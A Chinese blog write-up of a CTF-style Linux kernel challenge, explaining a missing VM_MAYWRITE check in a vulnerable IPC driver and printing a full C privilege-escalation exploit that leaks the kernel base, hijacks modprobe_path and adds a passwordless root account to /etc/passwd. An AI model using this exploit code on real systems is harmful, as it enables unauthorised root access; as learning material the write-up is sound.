BFS Ekoparty 2022 -- Linux Kernel Exploitation Challenge

前言

昨天一个师傅给了我一道 linux kernel pwn 题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是 BFS Lab 2022 年的一道招聘题?还一道 window 利用相关的,但我不太会,这两道题目做出来就可以获得面试资格(:这不禁让我想起学校各大公司的招聘宣讲会,扯了一个晚上结果告诉我们回去网申,乐

这里先简单看下其要求:
在这里插入图片描述
可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核 5.15.0-52-generic (目前 2024 已经不是最新了)的 Ubuntu 22.04 VM 上完成利用,如果在开启 SMAP/SMEP 时可以完成利用则会获得额外的加分

环境搭建

目前我虚拟机的内核版本为 6.5.0,所以这里简单切换下内核版本,这里我选择的版本为 5.15.0-72-generic,主要是不想自己源码编译

其给了模块源码,自己编译安装即可,这里给出脚本:

  • Makefile 如下:
obj-m += blunder.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)all:make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
  • install.sh 如下:
#!/bin/sh
sudo insmod blunder.ko
sudo chmod 666 /dev/blunder

漏洞分析

先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情

正如挑战所描述的那样,其实现了一个 IPC 模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与 SCM_RIGHTS 消息非常相似,发送的其实是底层的 struct file 结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程 A 发送数据 data 到进程 B,此时会把 data 挂在 B 对应 blunder_proc 结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程 B 接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:

说实话,跟 sendmsg 系统调用传递 SCM_RIGHTS 辅助消息的底层处理非常像(:可以说是一个阉割版

在这里插入图片描述
这里解释一些结构体:

  • struct blunder_device:总的管理结构,每个进程的 blunder_proc 会被维护成一颗红黑树,其中 blunder_device.procs 就是 RBT 的根
    • context_manager 没啥用(:代码中没啥实现相关操作
// 全局管理结构
struct blunder_device {spinlock_t lock;struct rb_root procs;struct blunder_proc *context_manager;
};
  • struct blunder_proc:每一个打开 /dev/blunder 的进程都会维护一个,其保存在 fileprivate_data
    • struct blunder_alloc alloc 数据缓冲区管理结构,其他进程发送的数据会被保存在里面
    • struct list_head messages 是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里
/** @refcount: number of references for this object.* @rb_node : links procs in blunder_device.* @alloc: the allocator for incoming messages* @handles: rb-tree of handles to other blunder_proc.* @messages: list of IPC messages to be delivered to this proc*/// 每个进程维护一个
struct blunder_proc {struct kref refcount;spinlock_t lock;int pid;int dead;struct rb_node rb_node;		// 与 blunder_device 连接成 RBTstruct blunder_alloc alloc; // 数据缓冲区管理结构struct list_head messages;  // 接收队列
};
  • struct blunder_alloc:缓冲区管理结构
    • mapping 指向缓冲区
    • user_buffer_offset:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset 表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移
    • buffers:待接收数据块链表
/** @mapping: kernel mapping where IPC messages will be received.* @mapping_size: size of the mapping.* @buffers: list of `blunder_buffer` allocations.* @user_buffer_offset: distance between userspace buffer and mapping*/
struct blunder_alloc {spinlock_t lock;void *mapping;size_t mapping_size;ptrdiff_t user_buffer_offset;struct list_head buffers;
};
  • struct blunder_buffer 待接收数据会以如下结构进行保存
struct blunder_buffer {struct list_head buffers_node;atomic_t free;size_t buffer_size;	// buffer 空间的大小size_t data_size;	// 实际存储数据的大小size_t offsets_size;unsigned char data[0];
};
  • struct blunder_message 被挂到接收队列链表的结构
struct blunder_message {struct list_head entry;int opcode;struct blunder_proc *from; // --> pid??struct blunder_buffer *buffer;size_t num_files;struct file **files;
};
  • struct blunder_user_message 用户空间传入结构
struct blunder_user_message {int handle;  // pidint opcode;	void *data;	 // 要发送/接收数据的指针size_t data_size; // 要发送/接收数据的大小size_t *offsets; size_t offsets_size;int *fds;	// fds[num_fds]size_t num_fds;
};

对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:

static int blunder_mmap(struct file *filp, struct vm_area_struct *vma) {
......// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWNif (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {goto out;}  
......

这里得配合作者给的提示:

主要还是我太菜了,一开始并没觉得有啥问题

在这里插入图片描述
通过作者给的提示可以知道这里虽然检查了 VM_WRITE,但是并没有检查 VM_MAYWRITE,也就是说如果映射时如果带有 VM_MAYWRITE 标志则在后面可以利用 mprotect 赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下 mmap 源码:
在这里插入图片描述
可以发现对于使用 O_RDWR 打开的文件,在进行文件映射时,会默认加上 VM_MAYWRITE 标志,所以整个漏洞就很清晰了:

  • 使用 O_RDWR 打开驱动文件
  • 只使用 PROT_READ 进行 mmap 映射,此时可以通过检查
  • 使用 mprotect 修改被映射区域的权限为可读可写

漏洞利用

这里 mmap 最小的映射大小就是 0x1000,所以对应到内核就是 kmalloc-4k,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:
在这里插入图片描述
最开始我想的是通过修改 buffer_size 去实现越界写,但是发现我的环境开启了 Hardened usercopy,但是这里还是有办法的,那就是在末尾伪造一个 struct blunder_buffer header,这里在进行写入时就不存在跨页了

所以这里我们获得了一个比较强大的原语:

  • kmalloc-4k 堆溢出 【下溢】,并且溢出内容可控

按理说利用就变得简单了,但是我的环境又存在 cg 隔离,导致常用的适配大对象的结构体 pipe_buffer/msg_msg 都不适用,而且这里并不好利用 cross cache 攻击,因为 kmalloc-4kpageperslab 为 8,并且这里的溢出只能是相邻溢出,并且由于 Hardened usercopy 保护,这里最多溢出 0xfd0,所以我们得利用 cross cache 形成如下堆布局才行:
在这里插入图片描述
由于笔者对 cross cache 攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在 GFP_KERNEL 分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod 泄漏 kbase + pgvUSMA 篡改 modprobe_path

这里比较 niceubumodprobe_path 相关保护似乎是关了的,当然没关也无所谓,USMA 劫持 setresuid 相关底层函数也行

所以这里先堆喷形成如下布局:
在这里插入图片描述
然后利用越界写修改 user_key_payload1datalen 从而实现越界读取 user_free_payload_rcu 从而泄漏 kbase

然后在释放掉 user_key_payload1,在申请 pgv 占据该对象,然后在利用越界写修改地址为 modprobe_path 即可完成 USMA 劫持 modprobe_path

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{system("echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo '\xff\xff\xff\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd");system("su hacker");exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#define IOCTL_BLUNDER_SET_CTX_MGR	_IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG		_IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG		_IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF		_IOWR('s', 4, void *)struct blunder_user_message {int handle;int opcode;void *data;size_t data_size;size_t *offsets;size_t offsets_size;int *fds;size_t num_fds;
};void set_ctx(int fd) {ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}void send_msg(int fd, int topid, void* data, size_t data_size, int* fds, size_t num_fds) {struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}void recv_msg(int fd, int* fds, size_t num_fds) {struct blunder_user_message n = { .fds=fds, .num_fds=num_fds };ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}void free_buf(int fd, unsigned long arg) {ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}void unshare_setup(void)
{char edit[0x100];int tmp_fd;if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))err_exit("FAILED to create a new namespace");tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endifvoid packet_socket_rx_ring_init(int s, unsigned int block_size,unsigned int frame_size, unsigned int block_nr,unsigned int sizeof_priv, unsigned int timeout) {int v = TPACKET_V3;int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);struct tpacket_req3 req;memset(&req, 0, sizeof(req));req.tp_block_size = block_size;req.tp_frame_size = frame_size;req.tp_block_nr = block_nr;req.tp_frame_nr = (block_size * block_nr) / frame_size;req.tp_retire_blk_tov = timeout;req.tp_sizeof_priv = sizeof_priv;req.tp_feature_req_word = 0;rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}int packet_socket_setup(unsigned int block_size, unsigned int frame_size,unsigned int block_nr, unsigned int sizeof_priv, int timeout) {int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (s < 0) puts("socket(AF_PACKET)"), exit(-1);packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);struct sockaddr_ll sa;memset(&sa, 0, sizeof(sa));sa.sll_family = PF_PACKET;sa.sll_protocol = htons(ETH_P_ALL);sa.sll_ifindex = if_nametoindex("lo");sa.sll_hatype = 0;sa.sll_pkttype = 0;sa.sll_halen = 0;int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);return s;
}// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {return packet_socket_setup(size, 2048, count, 0, 100);
}#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int main(int argc, char** argv, char** envp)
{bind_core(0);	int pipe_fd[2];pipe(pipe_fd);pid_t pid = fork();if (!pid) {unshare_setup();char* mmap_addr;int key_id[KEY_NUMS];char desc[0x10] = { 0 };char buf[0x10000] = { 0 };int fds[MAX_FDS] = { 0 };uint64_t kheap = 0;uint64_t khead = 0;uint64_t kbase = 0;uint64_t koffset = 0;uint64_t modprobe_path = 0x1e8bb00;int evil_key = -1;int res, flag;int pid = getpid();int fd = open("/dev/blunder", O_RDWR);if (fd < 0) err_exit("open /dev/blunder");for (int i = 0; i < KEY_NUMS / 2; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);key_id[i] = key_alloc(desc, buf, 2032);}mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);if (mmap_addr == MAP_FAILED) err_exit("mmap");for (int i = KEY_NUMS / 2; i < KEY_NUMS; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);key_id[i] = key_alloc(desc, buf, 2032);}printf("[+] mmap_addr: %#llx\n", mmap_addr);if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit("mprotect");send_msg(fd, pid, buf, 0x10, NULL, 0);kheap = *(uint64_t*)(mmap_addr) - 0x40;khead = *(uint64_t*)(mmap_addr + 8);printf("[+] kheap: %#llx\n", kheap);printf("[+] khead: %#llx\n", khead);*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;binary_dump("first  buf", mmap_addr, 0x30);	binary_dump("second buf", mmap_addr+0x1000-0x30, 0x30);	*(uint64_t*)(buf + 16) = 0xfff0;send_msg(fd, pid, buf, 0x20, NULL, 0);binary_dump("use buf", mmap_addr+0x1000-0x30, 0x30);	memset(buf, 0, sizeof(buf));for (int i = 0; i < KEY_NUMS; i++) {res = key_read(key_id[i], buf, 0xfff0);if (res > 0x1000) {printf("[+] key overread data len: %#lx\n", res);		evil_key = i;break;}}	if (evil_key == -1) {write(pipe_fd[1], "N", 1);err_exit("not hit evil_key");}printf("[+] evil_key: %d\n", evil_key);for (int i = 0; i < KEY_NUMS; i++) {if (i != evil_key) {key_revoke(key_id[i]);}}res = key_read(key_id[evil_key], buf, res);int hit_count = 0;for (int i = 0; i < res / 8; i++) {uint64_t val = *(uint64_t*)(buf + i*8);if ((val&0xfff) == 0xa60) {if (kbase == 0) {printf("[+] user_free_payload_rcu: %#llx\n", val);kbase = val - 0x52ba60;koffset = kbase - 0xffffffff81000000;}hit_count++;//break;}}if (kbase == 0) {write(pipe_fd[1], "N", 1);err_exit("Failed to leak kbase");}printf("[+] hit count: %d\n", hit_count);printf("[+] kbase: %#llx\n", kbase);printf("[+] koffset: %#llx\n", koffset);modprobe_path += kbase;printf("[+] modprobe_path: %#llx\n", modprobe_path);key_revoke(key_id[evil_key]);//		key_unlink(key_id[evil_key]);int packet_fd;char* page;		#define TRY_NUMS 0x20int try_keys[TRY_NUMS];int index = 0;memset(desc, 0, sizeof(desc));for (int i = 0; i < 257; i++) {*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);}	for (int i = 0; i < TRY_NUMS; i++) {printf("[+] try %d/32\n", i);packet_fd = pagealloc_pad(257, 0x1000);if (packet_fd < 0) {write(pipe_fd[1], "N", 1);perror("pagealloc_pad");exit(-1);	}*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;send_msg(fd, pid, buf, 257*8, NULL, 0);page = (char*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);if (page == MAP_FAILED) {write(pipe_fd[1], "N", 1);printf("[x] packet_fd: %d\n", packet_fd);perror("mmap for USMA");exit(-1);}page[strlen("/sbin/modprobe")] = '\x00';printf("[s] hit string: %s\n", &page[modprobe_path&0xfff]);if (!strcmp(&page[modprobe_path&0xfff], "/sbin/modprobe")) {strcpy(&page[modprobe_path&0xfff], "/tmp/x");write(pipe_fd[1], "Y", 1);goto OUT;		}munmap(page, 0x1000*257);close(packet_fd);sprintf(desc, "%s%d", "Try", index);try_keys[index++] = key_alloc(desc, buf, 2032);} write(pipe_fd[1], "N", 1);OUT:puts("[+] Child Porcess Over");exit(0);} else if (pid < 0) {err_exit("fork");} else {char buf[1];read(pipe_fd[0], buf, 1);
//		wait(NULL);sleep(2);if (buf[0] == 'Y') {get_root_shell();}puts("[+] Parent Porcess Over");exit(0);}/*// just testfds[0] = open("./test", O_RDWR);send_msg(fd, pid, buf, 0x10, fds, 1);binary_dump("MMAP DATA", mmap_addr, 0x100);	send_msg(fd, pid, buf, 0x10, fds, 1);binary_dump("MMAP DATA", mmap_addr, 0x100);	recv_msg(fd, &fds[1], 1);printf("%d\n", fds[1]);binary_dump("MMAP DATA", mmap_addr, 0x100);	
*/return 0;
}

最后效果如下:堆喷策略比较简单,所以成功率不算太高
在这里插入图片描述

总结

这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么

相关注释源码和 exp 可在笔者的 github 上下载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/326641.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

泰迪智能科技携手新乡学院开展“泰迪智能双创工作室”共建交流会

为深化校企合作&#xff0c;实现应用型人才培养目标。5月8日&#xff0c;广东泰迪智能科技股份有限公司河南分公司市场总监张京瑞到访新乡学院数学与统计学院参观交流&#xff0c;数学与统计学院院长赵国喜、副院长皮磊、张秦&#xff0c;教研室主任许寿方、姚广出席本次交流会…

如何防止WordPress网站内容被抓取

最近在检查网站服务器的访问日志的时候&#xff0c;发现了大量来自同一个IP地址的的请求&#xff0c;用站长工具分析确认了我的网站内容确实是被他人的网站抓取了&#xff0c;我第一时间联系了对方网站的服务器提供商投诉了该网站&#xff0c;要求对方停止侵权行为&#xff0c;…

Git 如何管理标签命令(tag)

1.查看本地仓库tag --1.查看本地仓库tag UserDESKTOP-2NRT2ST MINGW64 /e/GITROOT/STARiBOSS/STARiBOSS-5GCA (gw_frontend_master) $ git tag 1stBossUpgrade V10.0.1_20220224_test V10.0.1_20220301_test tag-gwfrontend-V1.0.12-230625 tag-gw_frontend-23.08.29 tag-gw_f…

基于51单片机的冰箱控制系统设计( proteus仿真+程序+设计报告+原理图+讲解视频)

基于51单片机冰箱控制系统设计( proteus仿真程序设计报告原理图讲解视频&#xff09; 基于51单片机冰箱控制系统设计 1. 主要功能&#xff1a;2. 讲解视频&#xff1a;3. 仿真4. 程序代码5. 设计报告6. 原理图7. 设计资料内容清单&&下载链接资料下载链接&#xff1a; …

PCIe总线-PCIe简介

一、前言 PCIe总线是由PCI/PCI-X发展而来&#xff0c;但是两者之间有很大的不同。PCI/PCI-X采用的是并行总线&#xff0c;最大支持的频率为PCI-X2.0 的133MHz&#xff0c;传输速率最大仅为4262MB/s。同时使用并行总线&#xff0c;在PCB上也会造成布线资源紧张&#xff0c;线与…

SpringCloud 集成 RocketMQ 及配置解析

文章目录 前言一、SpringCloud 集成 RocketMQ1. pom 依赖2. yml 配置3. 操作实体4. 生产消息4.1. 自动发送消息4.2. 手动发送消息 5. 消费消息 二、配置解析1. spring.cloud.stream.function.definition 前言 定义 Spring Cloud Stream 是一个用来为微服务应用构建消息驱动能力…

idea 使用 git

可以看见项目地址&#xff0c; git clone 地址 就可以拉新项目了 命令 git remote -v

宁夏银川市起名专家的老师颜廷利:死神(死亡)并不可怕,可怕的是...

在中国优秀传统文化之中&#xff0c;汉语‘巳’字与‘四’同音&#xff0c;在阿拉伯数字里面&#xff0c;通常用‘4’来表示&#xff1b; 湖南长沙、四川成都、重庆、宁夏银川最靠谱最厉害的起名大师的老师颜廷利教授指出&#xff0c;作为汉语‘九’字&#xff0c;倘若是换一个…

八、e2studio VS STM32CubeIDE之内存使用情况窗口

目录 一、概述/目的 二、STM32CubeIDE Build Analyzer 三、e2studio Memory Usage 八、e2studio VS STM32CubeIDE之内存使用情况窗口 一、概述/目的 1、嵌入开发最大特点之一就是资源受限&#xff0c;关注芯片资源使用详情是优秀工程师的技能之一 2、Keil和IAR都不支持内存…

使用Docker+Jar方式部署微服务工程(前后端分离)看着一篇就够了

本篇教程的使用到的技术有springboot、springcloud、Nacos、Docker、Nginx部署前后端分离访问的微服务。 部署一下Nacos 首先我们需要在服务器中&#xff08;或者本地部署启动一下Nacos&#xff09;&#xff0c;这里我采用服务器的方式进行部署&#xff0c;这里有一点不一样的…

【XR806开发板试用】SPI驱动数码管显示

准备工作 安装repo 创建repo安装目录。 mkdir ~/bin下载repo wget https://storage.googleapis.com/git-repo-downloads/repo -P ~/bin/改变执行权限 chmod ax ~/bin/repo设置环境变量&#xff0c;在~/.bashrc文件的最后输入 export PATH~/bin:$PATH和export REPO_URLhttps://…

redis深入理解之实战

1、SpringBoot整合redis 1.1 导入相关依赖 <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId> </dependency> <dependency><groupId>org.springframework.boot</groupId><artifactId&g…

JavaEE之线程(4)——线程安全、线程安全的原因,synchronized关键字

前言 在本栏的前面的内容中&#xff0c;我们介绍了线程的创建、Thread 类及常见方法、线程的状态&#xff0c;今天我们来介绍一下关于线程的另一个重点知识——线程安全。 一、线程安全 基本概念&#xff1a; 线程安全的确切定义是复杂的&#xff0c;但我们可以这样认为&…

vue3 antd-vue 超简单方式实现a-table跨页勾选

效果如下&#xff1a; 一、第一种方法 定义一个变量 selectKeysBack 用于维护所有勾选的数据value, 然后用 onSelect 拿到当前操作的数据&#xff0c;以及时候勾选。 这个方法便于拿到后端的数据之后用于回显 1、template <a-tableclass"custom-table-data":da…

类与对象(二)

封装 封装作为面向对象三大特性&#xff08;封装&#xff0c;继承&#xff0c;多态&#xff09;之一&#xff0c;那如何实现封装性的呢&#xff1f;就又得拿出上面的访问修饰限定符的图 public: 就是在任何地方都可以访问 protected: 涉及子类在介绍继承时详细介绍 default: …

STK12 RPO模块学习 (1)

一、背景介绍 在STK12中&#xff0c;在Astrogator的模块上开发了新的模块&#xff08;Rendezvous and proximity operations)。轨道交会接近通常来说是一个很复杂的过程。RPO实现需要对轨道动力学有一个清晰的理解&#xff0c;并且对于Astrogator模块具备很强的背景和经验&…

【教学类-55-02】20240512图层顺序挑战(四格长条纸加黑色边框、4*4、7张 、43200张去掉非7色有23040张,去掉重复样式有几种?)

作品展示 背景需求&#xff1a; 之前的代码吗存在几个问题&#xff0c;最大的问题是不能生成“”长条黑边框”” 【教学类-55-01】20240511图层顺序挑战&#xff08;四格长条纸&#xff09;&#xff08;4*4&#xff09;和“手工纸自制参考图”-CSDN博客文章浏览阅读485次&…

第十篇:数字堡垒:操作系统安全深度解析与实战指南

数字堡垒&#xff1a;操作系统安全深度解析与实战指南 1 *引言 1.1 数字世界的守护者 在遥远的比特海中&#xff0c;有一座名为“操作系统”的数字堡垒&#xff0c;它守护着我们的数据宝藏&#xff0c;确保每一次计算的航行都能安全抵达彼岸。然而&#xff0c;这片海域并非风…

记录:robot_localization传感器数据融合学习

一、参考资料 官方&#xff1a; http://wiki.ros.org/robot_localizationhttp://docs.ros.org/en/noetic/api/robot_localization/html/index.html2015 ROSCon 演讲官方网址&#xff08;youyube上也有这个视频&#xff09; 实践教程 https://kapernikov.com/the-ros-robot_…

深入理解Python的类,实例和type函数

问题起源&#xff1a; class t():pass s1 t() s2 type("Student2",(),{}) isinstance(s1, type), isinstance(s2, type)为什么第一个是false&#xff0c;第二个是true呢 根因定位&#xff1a; 在Python中&#xff0c;一切皆对象&#xff0c;类是对象&#xff0c…